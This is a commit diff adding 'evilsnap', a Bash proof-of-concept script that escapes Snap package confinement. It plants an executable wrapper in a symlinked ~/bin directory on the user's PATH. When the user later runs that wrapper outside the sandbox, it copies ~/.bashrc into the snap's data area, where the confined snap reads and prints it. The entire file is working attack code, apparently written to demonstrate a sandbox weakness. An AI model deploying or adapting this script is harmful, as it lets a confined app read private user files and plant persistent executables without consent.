Initial version

script/evilsnap

@@ -0,0 +1,28 @@
+#! /bin/bash
+
+FILE=".bashrc"
+
+if [ ! -d "$SNAP_REAL_HOME/bin" ]; then
+	mkdir -p "$SNAP_REAL_HOME/bintmp"
+	cat << EOF > "$SNAP_REAL_HOME/bintmp/evilsnap"
+#! /bin/bash
+cp ~/$FILE ~/snap/evilsnap/current/
+snap run evilsnap
+EOF
+	chmod +x "$SNAP_REAL_HOME/bintmp/evilsnap"
+	ln -s "$SNAP_REAL_HOME/bintmp/" "$SNAP_REAL_HOME/bin"
+fi
+
+# this should always fail due to confinement
+if [ -f "$SNAP_REAL_HOME/$FILE" ]; then
+	cat "$SNAP_REAL_HOME/$FILE" 2>/dev/null && exit 0
+fi
+
+# check if payload has moved file into confined area
+if [ -f "$SNAP_USER_DATA/$FILE" ]; then
+	cat "$SNAP_USER_DATA/$FILE"
+	exit 0
+fi
+
+echo "Could not access $FILE"
+echo "Try logging out and back in then running evilsnap again"